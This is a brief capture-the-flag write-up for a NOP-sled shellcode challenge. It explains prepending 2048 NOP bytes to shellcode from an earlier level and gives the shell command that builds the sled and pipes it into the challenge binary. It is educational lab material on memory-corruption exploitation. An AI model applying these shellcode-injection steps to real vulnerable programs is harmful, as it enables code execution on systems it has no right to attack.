NOP Sleds¶
This challenge will randomly skip up to 0x800 bytes in your shellcode.
So, we should prepend the shellcode-raw
file from prev challenge with 0x800 (= 2048) NOP (0x90)
instructions
printf '\x90%.0s' {1..2048} | cat - shellcode-raw > shellcode-raw-nop
cat shellcode-raw-nop | /challenge/binary-exploitation-nopsled-shellcode